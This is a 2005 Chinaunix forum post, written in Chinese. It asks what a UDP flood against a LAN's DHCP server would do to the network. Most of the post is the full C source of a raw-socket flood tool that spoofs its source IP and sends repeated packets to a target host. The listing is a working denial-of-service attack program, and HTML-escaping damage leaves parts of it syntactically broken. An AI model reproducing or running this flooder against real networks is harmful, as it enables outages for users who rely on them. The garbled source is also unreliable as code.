免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3106 | 回复: 0
打印 上一主题 下一主题

关于DHCP server 的攻击 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-10-05 22:37 |只看该作者 |倒序浏览
假如在一个局域网内,有一台DHCP server. 有人用udp flood程序攻击这台server的67udp 端口,会有多大的后果?网络会瘫痪吗?\r\n以下是那个udp flood的源程序.\r\n#include<sys/types.h>;\r\n#include<sys/socket.h>;\r\n#include<netinet/in_systm.h>;\r\n#include<netinet/in.h>;\r\n#include<netinet/ip.h>;\r\n#include<netinet/udp.h>;\r\n#include<errno.h>;\r\n#include<string.h>;\r\n#include<netdb.h>;\r\n#include<arpa/inet.h>;\r\n#include<stdio.h>;\r\n\r\nstruct sockaddr sa;\r\n\r\nmain(int argc,char **argv)\r\n{\r\nint fd;\r\nint x=1;\r\nstruct sockaddr_in *p;\r\nstruct hostent *he;\r\nint numpackets;\r\nu_char gram[38]=\r\n        {\r\n        0x45,   0x00,   0x00,   0x26,\r\n        0x12,   0x34,   0x00,   0x00,\r\n        0xFF,   0x11,   0,      0,\r\n        0,      0,      0,      0,\r\n        0,      0,      0,      0,\r\n\r\n        0,      0,      0,      0,\r\n        0x00,   0x12,   0x00,   0x00,\r\n\r\n        \'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'0\'\r\n        };\r\n\r\nif(argc!=4)\r\n        {\r\n        fprintf(stderr,\"usage: %s sourcename destinationname numpackets\\n\",*argv);\r\n        exit(1);\r\n        };\r\n\r\nnumpackets = atoi(argv[3]);\r\nfprintf(stderr,\"Will flood %d times\",numpackets);\r\n\r\nif((he=gethostbyname(argv[1]))==NULL)\r\n        {\r\n        fprintf(stderr,\"can\'t resolve source hostname\\n\";\r\n        exit(1);\r\n        };\r\nbcopy(*(he->;h_addr_list),(gram+12),4);\r\n\r\nif((he=gethostbyname(argv[2]))==NULL)\r\n        {\r\n        fprintf(stderr,\"can\'t resolve destination hostname\\n\";\r\n        exit(1);\r\n        };\r\nbcopy(*(he->;h_addr_list),(gram+16),4);\r\n\r\n*(u_short*)(gram+20)=htons((u_short)7);\r\n*(u_short*)(gram+22)=htons((u_short)7);\r\n\r\np=(struct sockaddr_in*)&amp;\r\np->;sin_family=AF_INET;\r\nbcopy(*(he->;h_addr_list),&(p->;sin_addr),sizeof(struct in_addr));\r\n\r\nif((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)\r\n        {\r\n        perror(\"socket\";\r\n        exit(1);\r\n        };\r\n\r\n#ifdef IP_HDRINCL\r\nfprintf(stderr,\"\\nWe have IP_HDRINCL \\n\\n\";\r\nif (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)\r\n        {\r\n        perror(\"setsockopt IP_HDRINCL\";\r\n        exit(1);\r\n        };\r\n#else\r\nfprintf(stderr,\"\\nWe don\'t have IP_HDRINCL \\n\\n\";\r\n#endif\r\n\r\nprintf(\"\\nNumber of Packets sent:\\n\\n\";\r\nfor(x=0;x<numpackets;x++)\r\n{\r\nif((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)\r\n        {\r\n        perror(\"sendto\";\r\n        exit(1);\r\n        };\r\nprintf(\"%d \",x);\r\n}\r\n\r\n}
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP